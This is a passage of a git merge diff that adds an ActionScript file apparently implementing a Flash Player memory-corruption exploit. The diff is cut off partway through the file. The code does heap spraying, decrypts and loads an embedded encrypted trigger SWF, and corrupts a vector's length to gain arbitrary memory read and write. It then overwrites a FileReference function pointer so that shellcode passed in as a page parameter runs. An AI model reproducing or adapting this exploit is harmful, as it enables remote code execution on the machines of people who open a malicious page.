Merge branch 'master' into staging/electro_release
commit
507fe566a4
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,897 @@
|
|||
//Compile: mxmlc.exe Exploit.as -o Exploit.swf
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.net.LocalConnection;
|
||||
import flash.utils.Endian;
|
||||
import flash.net.FileReference;
|
||||
import __AS3__.vec.Vector;
|
||||
import flash.system.Capabilities;
|
||||
import flash.display.Loader;
|
||||
import flash.utils.setTimeout;
|
||||
|
||||
import flash.display.LoaderInfo;
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
var number_massage_vectors:uint = 0x18000;
|
||||
var len_massage_vector:uint = 0x36;
|
||||
var maxElementsPerPage:uint = 0xe00012;
|
||||
var massage_array:Array;
|
||||
var tweaked_vector;
|
||||
var tweaked_vector_address;
|
||||
var done:Boolean = false;
|
||||
var receiver:LocalConnection;
|
||||
// Embedded trigger, ActionScript source available at the end of this file as code comment.
|
||||
var trigger_swf:String = "78da75565f4c9357144ff6b2cca7252ed91e966d2e2c35e0a605bc681d9f11a94f4b85745b05b2f0325c78d3651ad0173666d8941998a2d9f857a0aed8de425b4a59a1a520855908f4cf6de1d2967e03d9a2885127713a37d8b9f7fba0b0cc872fdc9eef777ee79cdf39dfb9343c2b0bf75c43d48cb36a08de5f41f07bb3e4b682128c1a435abf62b93b3f49f0a027fc15ea27e3c52ebd0fb9fbc5230e7b14fdd84f4b5c1db775d88e0b6c5e8abcce91125a3d52ea34f2df5a931e7f6ed3278a5d567f89c743cfba3a964a1d467f3eb5b5a0c1fea1bc25122872b8936a6a1f3a62b58bc864a7a57d7a5ce8edc5451686bb9cd4b9fbfdc7f0e5a1a2ee86d162ec4ca281c171d4e81e2a32b54ce699fa2327781c327ff4823159ea74b420b3939e6a68c067dbaa68becd33f122d5fbf35a2f2fa1ceb691bc3e63f4888724b58039eb218f0a1dee299d83dc2b7342dc2e27fea09d4ce69bc8bd7c13d466230b877b6d90437b5c6b3246510f19d675d68fe6f5da132c87f25e3bf09b71890be2eac944e160ad5c8b63a2a046aea7d7398c1cce1b857800170f905f8b06ec43a7fa3c37b403c6d1222799542f7947746ee74d84ddf7caee1251ebecc3fa0962406204231ae9449498b3a10fc26c40954de35d159a1016e25575fa3562c8146718a67b1da39c857e892166b3fcc7ef3af74b56b1334ed744b012fa898261ab3e460cca2bea2e148caf6dd30c612114c1e06746c0a58ca530d91c1304cc0a16c2525e7ba98c11c32c6617b3e5d0ad7e59dc2fbac6ce077d6a3312a3808d5bd2593e6233cbc750b6a8ee43416af6bf02be7497168904fb6904e68e983381ef8b45750f0a8a12f7ec7a3cc643d8b3099334fb19e6278659fe3f4c2d0ace5d47c104d7660f259da7d97b7191e5df0838c3011fcb57e4b9e7fad42e24ae6ee1c94d696ae69ade845e10625024898ca9572925fd0d399c2bb2c0b8d22edc673e1eae3dab2138c463bc7ddec7eced29fb18b7bf25d937eb34c8e3059a55efd0b843f9183410ef1864dd0dbb792cff6aa566060b237157fa28fbbdd1bb4ee89de15d5f93ea008d5bf75039d7e0d472868662616ca3be3a86dfe9535f871ed422da38688e9126c4e2fa78cdf674cd08e6feeee80b521fe23da7af32fe49f0abb675c7c8ab7ea845188bdc7c0edfb9ad7c707ed2a4ca84b330165065d108d444ee661c0ae11505e3fdc390c96b7bb89021d5e67d5e6dc0f19d90e0bc172b4699fd8141c17dff045f88f32ca07a5ffea6d013822b65db3e1ae9009ba9fce1b3e5375ca70e71bb3fc0f8be81f7b7f40962d81e9c9366e2ca14b39f17a6791c3dc46943c11593ac1f16462fd9d83cecdc9887fba93a57b9cfd71575c3ca6c3a8f19dfcb3cbf49ebe67385661a2b15e01bd9d0e56fa647b5426d84f71bb1784d639cf35bceffa079314d1dc2a729e359b1cadac3f9b17ce673743e5df25bd0cf810e945854ad5be3d42b980fd40b75e706a995eb31cdf5d00b11d003b8f6f998be49f85ef84c9d4bcdd4d3e56d0cbf1650e5d2788db0c2f793e14d9ec7eaea0ea9871ee8a143de1b96f5bd2148bd815e32ecc4ea0ebaeb1ae3cde1dccbedbbf9398ccb6baa273feab14f68cdffa476be62ae19701654d08a0fd2da89e23edb64316d8996e1b6d163de795cd2661d2ea0ec91ee844d7781a8c575f327a8c39fd7d8b2847ea85ad3e2ea645167c390ceabe73d423c9ff042dab8a60b6d27f20e851a673f69473484f70e13aca3640afd4554aad4aee8cc8e7f39a04f92ce9c6048de05c18533a5619c73959d09ef490edf8f33d652d0257316f634bccf0e80b689b061cfc7090c7bb8eb751a1e3ecaeebc6922ef04d0303e63a9bc2ae19487a759bc36fe5d49bba9bbe2f726952069db25506eb3f0fd31d7ccf613ef89f09b0ffb432cdf10cff9a5e971f80bf169eda3e32eeb2f3aaf537cadc1b40677ec8dc23b44bbef0ef42b46d2ced0182ef77a473e747937ddb183517667b347d29c24f2fb8c23796d1d7e761f9f6c6dc0851ee3dd932d70d75e70d2e32677e284c33ea1a69bb51866fbe1335e879cf3cfd304f209f6226ac7f0bfc745a411f1c6ac2542dd9f06d426a641b6bc0ff65e69cd8019b9b5b96fec9ce9eb87f99db140fdf03e3400b30d7d89bebd9fcd4cec29cee935c1fd4ddad7358459efce9c6dba25e12239592c5e94a47672bcf9fb4a4d5cdad9b1f5796896ef5ad8e571f62dc4eb77d04b90ebbffc1db134";
|
||||
var key:uint = 3.627461843E9;
|
||||
var shellcodeObj:Array;
|
||||
|
||||
public function Exploit() {
|
||||
var trigger_decrypted:uint = 0;
|
||||
super();
|
||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
||||
var i:* = 0;
|
||||
this.massage_array = new Array();
|
||||
|
||||
// Memory massage
|
||||
i = 0;
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
this.massage_array[i] = new Vector.<int>(1);
|
||||
i++;
|
||||
}
|
||||
i = 0;
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
this.massage_array[i] = new Vector.<int>(this.len_massage_vector);
|
||||
this.massage_array[i][0] = 0x41414141;
|
||||
i++;
|
||||
}
|
||||
var j:* = 0;
|
||||
i = 0;
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
j = 0;
|
||||
while(j < 32)
|
||||
{
|
||||
this.massage_array[i][j] = 0x41414141;
|
||||
j++;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
var k:uint = (4096 - 32) / (this.len_massage_vector * 4 + 8);
|
||||
i = 65536 + 6;
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
this.massage_array[i] = new Vector.<int>(this.len_massage_vector * 2);
|
||||
this.massage_array[i][0] = 0x42424242;
|
||||
i = i + k;
|
||||
}
|
||||
|
||||
// Decompress/Decrypt trigger
|
||||
this.receiver = new LocalConnection();
|
||||
this.receiver.connect("toAS3");
|
||||
this.receiver.client = this;
|
||||
var trigger_byte_array:ByteArray = this.createByteArray(this.trigger_swf);
|
||||
trigger_byte_array.endian = Endian.LITTLE_ENDIAN;
|
||||
trigger_byte_array.uncompress();
|
||||
trigger_byte_array.position = 0;
|
||||
i = 0;
|
||||
while(i < trigger_byte_array.length / 4)
|
||||
{
|
||||
trigger_decrypted = trigger_byte_array.readUnsignedInt() ^ this.key;
|
||||
trigger_byte_array.position = trigger_byte_array.position - 4;
|
||||
trigger_byte_array.writeUnsignedInt(trigger_decrypted);
|
||||
i++;
|
||||
}
|
||||
trigger_byte_array.position = 0;
|
||||
|
||||
// Trigger corruption
|
||||
var trigger_loader:Loader = new Loader();
|
||||
trigger_loader.loadBytes(trigger_byte_array);
|
||||
|
||||
// Handler to check for corruption
|
||||
setTimeout(this.as2loaded,4000,[]);
|
||||
}
|
||||
|
||||
function createByteArray(hex_string:String) : ByteArray {
|
||||
var byte:String = null;
|
||||
var byte_array:ByteArray = new ByteArray();
|
||||
var hex_string_length:uint = hex_string.length;
|
||||
var i:uint = 0;
|
||||
while(i < hex_string_length)
|
||||
{
|
||||
byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
|
||||
byte_array.writeByte(parseInt(byte,16));
|
||||
i = i + 2;
|
||||
}
|
||||
return byte_array;
|
||||
}
|
||||
|
||||
// When param1.length > 0 it's called from the corruption trigger
|
||||
// Else it's called because of the timeout trigger
|
||||
public function as2loaded(param1:Array) : * {
|
||||
var back_offset:* = undefined; // backward offset from the tweaked vector
|
||||
var j:* = undefined;
|
||||
var _loc15_:uint = 0;
|
||||
var ninbets:Array = null;
|
||||
var array_with_code:Array = null;
|
||||
var address_code:uint = 0;
|
||||
var _loc19_:uint = 0;
|
||||
if(this.done == true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if(param1.length > 0)
|
||||
{
|
||||
this.done = true;
|
||||
}
|
||||
var corrupted_index:uint = 0;
|
||||
var i:* = 0;
|
||||
i = 0x10000 + 6;
|
||||
|
||||
// Search corrupted vector
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
if(this.massage_array[i].length != 2 * this.len_massage_vector)
|
||||
{
|
||||
if(this.massage_array[i].length != this.len_massage_vector)
|
||||
{
|
||||
corrupted_index = i;
|
||||
this.massage_array[i][0] = 0x41424344;
|
||||
break;
|
||||
}
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
// throw Error if any vector has been corrupted
|
||||
if(i == this.number_massage_vectors)
|
||||
{
|
||||
throw new Error("not found");
|
||||
}
|
||||
else // start the magic...
|
||||
{
|
||||
// Tweak the length for the vector next to the corrupted one
|
||||
this.massage_array[corrupted_index][this.len_massage_vector] = 0x40000001;
|
||||
// Save the reference to the tweaked vector, it'll work with this one to leak and corrupt arbitrary memory
|
||||
this.tweaked_vector = this.massage_array[corrupted_index + 1];
|
||||
var offset_length = 0;
|
||||
// Ensure tweaked vector length corruption, I guess the offset to the vector length
|
||||
// changes between flash versions
|
||||
if(this.tweaked_vector.length != 0x40000001)
|
||||
{
|
||||
this.massage_array[corrupted_index][this.len_massage_vector + 10] = 0x40000001;
|
||||
offset_length = 10;
|
||||
}
|
||||
if(param1.length > 0) // From the corruption trigger
|
||||
{
|
||||
// Fix the massage array of vectors, restores the corrupted vector and
|
||||
// marks it as the last one.
|
||||
back_offset = (4 * (this.len_massage_vector + 2) - 100) / 4 + this.len_massage_vector + 2; // 87
|
||||
j = 0;
|
||||
/*
|
||||
tweaked_vector->prior->prior, some data is overwritten, is used for search purposes
|
||||
tweaked_vector[3fffffa7] = 0
|
||||
tweaked_vector[3fffffa8] = 0
|
||||
tweaked_vector[3fffffa9] = 1c0340
|
||||
tweaked_vector[3fffffaa] = ffffffff
|
||||
tweaked_vector[3fffffab] = 0
|
||||
tweaked_vector[3fffffac] = 0
|
||||
tweaked_vector[3fffffad] = 0
|
||||
tweaked_vector[3fffffae] = 0
|
||||
tweaked_vector[3fffffaf] = 0
|
||||
tweaked_vector[3fffffb0] = 0
|
||||
tweaked_vector[3fffffb1] = 0
|
||||
tweaked_vector[3fffffb2] = 100
|
||||
tweaked_vector[3fffffb3] = 0
|
||||
tweaked_vector[3fffffb4] = 0
|
||||
tweaked_vector[3fffffb5] = 0
|
||||
tweaked_vector[3fffffb6] = 0
|
||||
tweaked_vector[3fffffb7] = 100dddce
|
||||
tweaked_vector[3fffffb8] = 0
|
||||
tweaked_vector[3fffffb9] = 1df6000
|
||||
tweaked_vector[3fffffba] = 1dc2380
|
||||
tweaked_vector[3fffffbb] = 0
|
||||
tweaked_vector[3fffffbc] = 10000
|
||||
tweaked_vector[3fffffbd] = 70
|
||||
tweaked_vector[3fffffbe] = 0
|
||||
tweaked_vector[3fffffbf] = 4
|
||||
tweaked_vector[3fffffc0] = 0
|
||||
tweaked_vector[3fffffc1] = 1de7090
|
||||
tweaked_vector[3fffffc2] = 4
|
||||
tweaked_vector[3fffffc3] = 0
|
||||
tweaked_vector[3fffffc4] = 0
|
||||
tweaked_vector[3fffffc5] = 0
|
||||
// tweaked_vector->prior
|
||||
tweaked_vector[3fffffc6] = 36 // Length
|
||||
tweaked_vector[3fffffc7] = 1dea000
|
||||
tweaked_vector[3fffffc8] = 41414141
|
||||
tweaked_vector[3fffffc9] = 41414141
|
||||
tweaked_vector[3fffffca] = 41414141
|
||||
tweaked_vector[3fffffcb] = 41414141
|
||||
tweaked_vector[3fffffcc] = 41414141
|
||||
tweaked_vector[3fffffcd] = 41414141
|
||||
tweaked_vector[3fffffce] = 41414141
|
||||
tweaked_vector[3fffffcf] = 41414141
|
||||
tweaked_vector[3fffffd0] = 41414141
|
||||
tweaked_vector[3fffffd1] = 41414141
|
||||
tweaked_vector[3fffffd2] = 41414141
|
||||
tweaked_vector[3fffffd3] = 41414141
|
||||
tweaked_vector[3fffffd4] = 41414141
|
||||
tweaked_vector[3fffffd5] = 41414141
|
||||
tweaked_vector[3fffffd6] = 41414141
|
||||
tweaked_vector[3fffffd7] = 41414141
|
||||
tweaked_vector[3fffffd8] = 41414141
|
||||
tweaked_vector[3fffffd9] = 41414141
|
||||
tweaked_vector[3fffffda] = 41414141
|
||||
tweaked_vector[3fffffdb] = 41414141
|
||||
tweaked_vector[3fffffdc] = 41414141
|
||||
tweaked_vector[3fffffdd] = 41414141
|
||||
tweaked_vector[3fffffde] = 41414141
|
||||
tweaked_vector[3fffffdf] = 41414141
|
||||
tweaked_vector[3fffffe0] = 41414141
|
||||
tweaked_vector[3fffffe1] = 41414141
|
||||
tweaked_vector[3fffffe2] = 41414141
|
||||
tweaked_vector[3fffffe3] = 41414141
|
||||
tweaked_vector[3fffffe4] = 41414141
|
||||
tweaked_vector[3fffffe5] = 41414141
|
||||
tweaked_vector[3fffffe6] = 41414141
|
||||
tweaked_vector[3fffffe7] = 41414141
|
||||
tweaked_vector[3fffffe8] = 0
|
||||
tweaked_vector[3fffffe9] = 0
|
||||
tweaked_vector[3fffffea] = 0
|
||||
tweaked_vector[3fffffeb] = 0
|
||||
tweaked_vector[3fffffec] = 0
|
||||
tweaked_vector[3fffffed] = 0
|
||||
tweaked_vector[3fffffee] = 0
|
||||
tweaked_vector[3fffffef] = 0
|
||||
tweaked_vector[3ffffff0] = 0
|
||||
tweaked_vector[3ffffff1] = 0
|
||||
tweaked_vector[3ffffff2] = 0
|
||||
tweaked_vector[3ffffff3] = 0
|
||||
tweaked_vector[3ffffff4] = 0
|
||||
tweaked_vector[3ffffff5] = 0
|
||||
tweaked_vector[3ffffff6] = 0
|
||||
tweaked_vector[3ffffff7] = 0
|
||||
tweaked_vector[3ffffff8] = 0
|
||||
tweaked_vector[3ffffff9] = 0
|
||||
tweaked_vector[3ffffffa] = 0
|
||||
tweaked_vector[3ffffffb] = 0
|
||||
tweaked_vector[3ffffffc] = 0
|
||||
tweaked_vector[3ffffffd] = 0
|
||||
*/
|
||||
while(j < back_offset)
|
||||
{
|
||||
this.tweaked_vector[0x40000000 - back_offset - 2 + j - offset_length] = param1[j];
|
||||
j++;
|
||||
}
|
||||
// tweaked_vector[3fffffff] = 1dea000 // Restores tweaked vector metadata
|
||||
this.tweaked_vector[0x40000000-1] = param1[back_offset + 1];
|
||||
|
||||
|
||||
j = back_offset + 2;
|
||||
|
||||
// Modifies the tweaked vector content, and overflow the next ones, they just remain in good state:
|
||||
/*
|
||||
// tweaked vector content
|
||||
tweaked_vector[0] = 41414141
|
||||
tweaked_vector[1] = 41414141
|
||||
tweaked_vector[2] = 41414141
|
||||
tweaked_vector[3] = 41414141
|
||||
tweaked_vector[4] = 41414141
|
||||
tweaked_vector[5] = 41414141
|
||||
tweaked_vector[6] = 41414141
|
||||
tweaked_vector[7] = 41414141
|
||||
tweaked_vector[8] = 41414141
|
||||
tweaked_vector[9] = 41414141
|
||||
tweaked_vector[a] = 41414141
|
||||
tweaked_vector[b] = 41414141
|
||||
tweaked_vector[c] = 41414141
|
||||
tweaked_vector[d] = 41414141
|
||||
tweaked_vector[e] = 41414141
|
||||
tweaked_vector[f] = 41414141
|
||||
tweaked_vector[10] = 41414141
|
||||
tweaked_vector[11] = 41414141
|
||||
tweaked_vector[12] = 41414141
|
||||
tweaked_vector[13] = 41414141
|
||||
tweaked_vector[14] = 41414141
|
||||
tweaked_vector[15] = 41414141
|
||||
tweaked_vector[16] = 41414141
|
||||
tweaked_vector[17] = 41414141
|
||||
tweaked_vector[18] = 41414141
|
||||
tweaked_vector[19] = 41414141
|
||||
tweaked_vector[1a] = 41414141
|
||||
tweaked_vector[1b] = 41414141
|
||||
tweaked_vector[1c] = 41414141
|
||||
tweaked_vector[1d] = 41414141
|
||||
tweaked_vector[1e] = 41414141
|
||||
tweaked_vector[1f] = 41414141
|
||||
tweaked_vector[20] = 0
|
||||
tweaked_vector[21] = 0
|
||||
tweaked_vector[22] = 0
|
||||
tweaked_vector[23] = 0
|
||||
tweaked_vector[24] = 0
|
||||
tweaked_vector[25] = 0
|
||||
tweaked_vector[26] = 0
|
||||
tweaked_vector[27] = 0
|
||||
tweaked_vector[28] = 0
|
||||
tweaked_vector[29] = 0
|
||||
tweaked_vector[2a] = 0
|
||||
tweaked_vector[2b] = 0
|
||||
tweaked_vector[2c] = 0
|
||||
tweaked_vector[2d] = 0
|
||||
tweaked_vector[2e] = 0
|
||||
tweaked_vector[2f] = 0
|
||||
tweaked_vector[30] = 0
|
||||
tweaked_vector[31] = 0
|
||||
tweaked_vector[32] = 0
|
||||
tweaked_vector[33] = 0
|
||||
tweaked_vector[34] = 0
|
||||
tweaked_vector[35] = 0
|
||||
// next to the tweaked vector
|
||||
tweaked_vector[36] = 36
|
||||
tweaked_vector[37] = 1dea000
|
||||
tweaked_vector[38] = 41414141
|
||||
tweaked_vector[39] = 41414141
|
||||
tweaked_vector[3a] = 41414141
|
||||
tweaked_vector[3b] = 41414141
|
||||
tweaked_vector[3c] = 41414141
|
||||
tweaked_vector[3d] = 41414141
|
||||
tweaked_vector[3e] = 41414141
|
||||
tweaked_vector[3f] = 41414141
|
||||
tweaked_vector[40] = 41414141
|
||||
tweaked_vector[41] = 41414141
|
||||
tweaked_vector[42] = 41414141
|
||||
tweaked_vector[43] = 41414141
|
||||
tweaked_vector[44] = 41414141
|
||||
tweaked_vector[45] = 41414141
|
||||
tweaked_vector[46] = 41414141
|
||||
tweaked_vector[47] = 41414141
|
||||
tweaked_vector[48] = 41414141
|
||||
tweaked_vector[49] = 41414141
|
||||
tweaked_vector[4a] = 41414141
|
||||
tweaked_vector[4b] = 41414141
|
||||
tweaked_vector[4c] = 41414141
|
||||
tweaked_vector[4d] = 41414141
|
||||
tweaked_vector[4e] = 41414141
|
||||
tweaked_vector[4f] = 41414141
|
||||
tweaked_vector[50] = 41414141
|
||||
tweaked_vector[51] = 41414141
|
||||
tweaked_vector[52] = 41414141
|
||||
tweaked_vector[53] = 41414141
|
||||
tweaked_vector[54] = 41414141
|
||||
tweaked_vector[55] = 41414141
|
||||
tweaked_vector[56] = 41414141
|
||||
tweaked_vector[57] = 41414141
|
||||
tweaked_vector[58] = 0
|
||||
tweaked_vector[59] = 0
|
||||
tweaked_vector[5a] = 0
|
||||
tweaked_vector[5b] = 0
|
||||
tweaked_vector[5c] = 0
|
||||
tweaked_vector[5d] = 0
|
||||
tweaked_vector[5e] = 0
|
||||
tweaked_vector[5f] = 0
|
||||
tweaked_vector[60] = 0
|
||||
tweaked_vector[61] = 0
|
||||
tweaked_vector[62] = 0
|
||||
tweaked_vector[63] = 0
|
||||
tweaked_vector[64] = 0
|
||||
tweaked_vector[65] = 0
|
||||
tweaked_vector[66] = 0
|
||||
tweaked_vector[67] = 0
|
||||
tweaked_vector[68] = 0
|
||||
tweaked_vector[69] = 0
|
||||
tweaked_vector[6a] = 0
|
||||
tweaked_vector[6b] = 0
|
||||
tweaked_vector[6c] = 0
|
||||
tweaked_vector[6d] = 0
|
||||
// next -> next to the tweaked vector
|
||||
tweaked_vector[6e] = 36
|
||||
tweaked_vector[6f] = 1dea000
|
||||
tweaked_vector[70] = 41414141
|
||||
tweaked_vector[71] = 41414141
|
||||
tweaked_vector[72] = 41414141
|
||||
tweaked_vector[73] = 41414141
|
||||
tweaked_vector[74] = 41414141
|
||||
tweaked_vector[75] = 41414141
|
||||
tweaked_vector[76] = 41414141
|
||||
tweaked_vector[77] = 41414141
|
||||
tweaked_vector[78] = 41414141
|
||||
tweaked_vector[79] = 41414141
|
||||
tweaked_vector[7a] = 41414141
|
||||
tweaked_vector[7b] = 41414141
|
||||
tweaked_vector[7c] = 41414141
|
||||
tweaked_vector[7d] = 41414141
|
||||
tweaked_vector[7e] = 41414141
|
||||
tweaked_vector[7f] = 41414141
|
||||
tweaked_vector[80] = 41414141
|
||||
tweaked_vector[81] = 41414141
|
||||
tweaked_vector[82] = 41414141
|
||||
tweaked_vector[83] = 41414141
|
||||
tweaked_vector[84] = 41414141
|
||||
tweaked_vector[85] = 41414141
|
||||
tweaked_vector[86] = 41414141
|
||||
tweaked_vector[87] = 41414141
|
||||
tweaked_vector[88] = 41414141
|
||||
tweaked_vector[89] = 41414141
|
||||
tweaked_vector[8a] = 41414141
|
||||
tweaked_vector[8b] = 41414141
|
||||
tweaked_vector[8c] = 41414141
|
||||
tweaked_vector[8d] = 41414141
|
||||
tweaked_vector[8e] = 41414141
|
||||
tweaked_vector[8f] = 41414141
|
||||
tweaked_vector[90] = 0
|
||||
tweaked_vector[91] = 0
|
||||
tweaked_vector[92] = 0
|
||||
tweaked_vector[93] = 0
|
||||
tweaked_vector[94] = 0
|
||||
tweaked_vector[95] = 0
|
||||
tweaked_vector[96] = 0
|
||||
tweaked_vector[97] = 0
|
||||
tweaked_vector[98] = 0
|
||||
tweaked_vector[99] = 0
|
||||
tweaked_vector[9a] = 0
|
||||
tweaked_vector[9b] = 0
|
||||
tweaked_vector[9c] = 0
|
||||
tweaked_vector[9d] = 0
|
||||
tweaked_vector[9e] = 0
|
||||
tweaked_vector[9f] = 0
|
||||
tweaked_vector[a0] = 0
|
||||
tweaked_vector[a1] = 0
|
||||
tweaked_vector[a2] = 0
|
||||
tweaked_vector[a3] = 0
|
||||
tweaked_vector[a4] = 0
|
||||
tweaked_vector[a5] = 0
|
||||
*/
|
||||
while(j < param1.length)
|
||||
{
|
||||
this.tweaked_vector[j - (back_offset + 2) + offset_length] = param1[j];
|
||||
j++;
|
||||
}
|
||||
// next -> next to the tweaked vector
|
||||
// tweaked_vector[a6] = 36
|
||||
// tweaked_vector[a7] = 1dea000
|
||||
this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + offset_length] = param1[back_offset]; // [166] => 36
|
||||
this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + 1 + offset_length] = param1[back_offset + 1]; //[167] => 1dea000
|
||||
}
|
||||
else // From the Timeout trigger; never reached on my tests.
|
||||
{
|
||||
_loc15_ = this.tweaked_vector[4 * (this.len_massage_vector + 2)-1];
|
||||
this.tweaked_vector[0x3fffffff] = _loc15_;
|
||||
this.tweaked_vector[0x3fffffff - this.len_massage_vector - 2] = _loc15_;
|
||||
this.tweaked_vector[0x3fffffff - this.len_massage_vector - 3] = this.len_massage_vector;
|
||||
this.tweaked_vector[this.len_massage_vector + 1] = _loc15_;
|
||||
this.tweaked_vector[2 * (this.len_massage_vector + 2)-1] = _loc15_;
|
||||
this.tweaked_vector[3 * (this.len_massage_vector + 2)-1] = _loc15_;
|
||||
this.tweaked_vector[this.len_massage_vector] = this.len_massage_vector;
|
||||
this.tweaked_vector[2 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
|
||||
this.tweaked_vector[3 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
|
||||
}
|
||||
|
||||
this.massage_array[corrupted_index].length = 256; // :?
|
||||
|
||||
// Search backwards to find the massage array metadata
|
||||
// It's used to disclose the tweaked vector address
|
||||
i = 0;
|
||||
var hint = 0;
|
||||
while(true)
|
||||
{
|
||||
hint = this.tweaked_vector[0x40000000 - i];
|
||||
if(hint == this.maxElementsPerPage-1) // 0xe00012 - 1
|
||||
{
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
this.tweaked_vector_address = 0;
|
||||
if(this.tweaked_vector[0x40000000 - i - 4] == 0)
|
||||
{
|
||||
throw new Error("error");
|
||||
}
|
||||
else
|
||||
{
|
||||
this.tweaked_vector_address = this.tweaked_vector[0x40000000 - i - 4] + (4 * this.len_massage_vector + 8) + 8 + 4 * offset_length;
|
||||
|
||||
// I have not been able to understand this tweak,
|
||||
// Maybe not necessary at all...
|
||||
i = 0;
|
||||
hint = 0;
|
||||
while(true)
|
||||
{
|
||||
hint = this.tweaked_vector[0x40000000 - i];
|
||||
if(hint == 0x7e3f0004)
|
||||
{
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
this.tweaked_vector[0x40000000 - i + 1] = 4.294967295E9; // -1 / 0xffffffff
|
||||
// End of maybe not necessary tweak
|
||||
|
||||
var file_ref_array = new Array();
|
||||
i = 0;
|
||||
while(i < 64)
|
||||
{
|
||||
file_ref_array[i] = new FileReference();
|
||||
i++;
|
||||
}
|
||||
|
||||
var file_reference_address = this.getFileReferenceLocation(this.tweaked_vector, this.tweaked_vector_address);
|
||||
var ptr_backup = this.getMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32);
|
||||
|
||||
// Get array related data, important to trigger the desired corruption to achieve command execution
|
||||
ninbets = this.getNinbets(this.tweaked_vector,this.tweaked_vector_address);
|
||||
array_with_code = this.createCodeVectors(0x45454545, 0x90909090);
|
||||
address_code = this.getCodeAddress(this.tweaked_vector, this.tweaked_vector_address, 0x45454545);
|
||||
this.fillCodeVectors(array_with_code, address_code);
|
||||
this.tweaked_vector[7] = ninbets[0] + 0;
|
||||
this.tweaked_vector[4] = ninbets[1];
|
||||
this.tweaked_vector[0] = 4096;
|
||||
this.tweaked_vector[1] = address_code & 0xfffff000;
|
||||
// Corruption
|
||||
this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, this.tweaked_vector_address + 8);
|
||||
// Get arbitrary execution
|
||||
i = 0;
|
||||
while(i < 64)
|
||||
{
|
||||
file_ref_array[i].cancel();
|
||||
i++;
|
||||
}
|
||||
this.tweaked_vector[7] = address_code;
|
||||
i = 0;
|
||||
while(i < 64)
|
||||
{
|
||||
file_ref_array[i].cancel();
|
||||
i++;
|
||||
}
|
||||
// Restore Function Pointer
|
||||
this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, ptr_backup);
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// vector: tweaked vector with 0x40000001 length
|
||||
// vector_address: address of tweaked vector
|
||||
// address: address to read
|
||||
function getMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint) : uint {
|
||||
if(address >= vector_address)
|
||||
{
|
||||
return vector[(address - vector_address) / 4];
|
||||
}
|
||||
return vector[0x40000000 - (vector_address - address) / 4];
|
||||
}
|
||||
|
||||
// vector: tweaked vector with 0x40000001 length
|
||||
// vector_address: address of tweaked vector
|
||||
// address: address to write
|
||||
// value: value to write
|
||||
function writeMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint, value:uint) : * {
|
||||
if(address >= vector_address)
|
||||
{
|
||||
vector[(address - vector_address) / 4] = value;
|
||||
}
|
||||
else
|
||||
{
|
||||
vector[0x40000000 - (vector_address - address) / 4] = value;
|
||||
}
|
||||
}
|
||||
|
||||
function getNinbets(vector:*, vector_address:*) : Array {
|
||||
var _loc9_:uint = 0;
|
||||
var array_related_addr:uint = this.getMemoryAt(vector,vector_address,(vector_address & 0xfffff000) + 0x1c);
|
||||
var index_array_related_addr:uint = 0;
|
||||
var _loc5_:uint = 0;
|
||||
var _loc6_:uint = 0;
|
||||
if(array_related_addr >= vector_address)
|
||||
{
|
||||
index_array_related_addr = (array_related_addr - vector_address) / 4;
|
||||
}
|
||||
else
|
||||
{
|
||||
index_array_related_addr = 0x40000000 - (vector_address - array_related_addr) / 4;
|
||||
}
|
||||
var _loc7_:uint = 0;
|
||||
while(true)
|
||||
{
|
||||
index_array_related_addr--;
|
||||
_loc9_ = vector[index_array_related_addr];
|
||||
if(_loc9_ == 0xfff870ff)
|
||||
{
|
||||
_loc7_ = 2;
|
||||
break;
|
||||
}
|
||||
if(_loc9_ == 0xf870ff01)
|
||||
{
|
||||
_loc7_ = 1;
|
||||
break;
|
||||
}
|
||||
if(_loc9_ == 0x70ff016a)
|
||||
{
|
||||
_loc9_ = vector[index_array_related_addr + 1];
|
||||
if(_loc9_ == 0xfc70fff8)
|
||||
{
|
||||
_loc7_ = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(_loc9_ == 0x70fff870)
|
||||
{
|
||||
_loc7_ = 3;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_loc5_ = vector_address + 4 * index_array_related_addr - _loc7_;
|
||||
index_array_related_addr--;
|
||||
var _loc8_:uint = vector[index_array_related_addr];
|
||||
if(_loc8_ == 0x16a0424)
|
||||
{
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
if(_loc8_ == 0x6a042444)
|
||||
{
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
if(_loc8_ == 0x424448b)
|
||||
{
|
||||
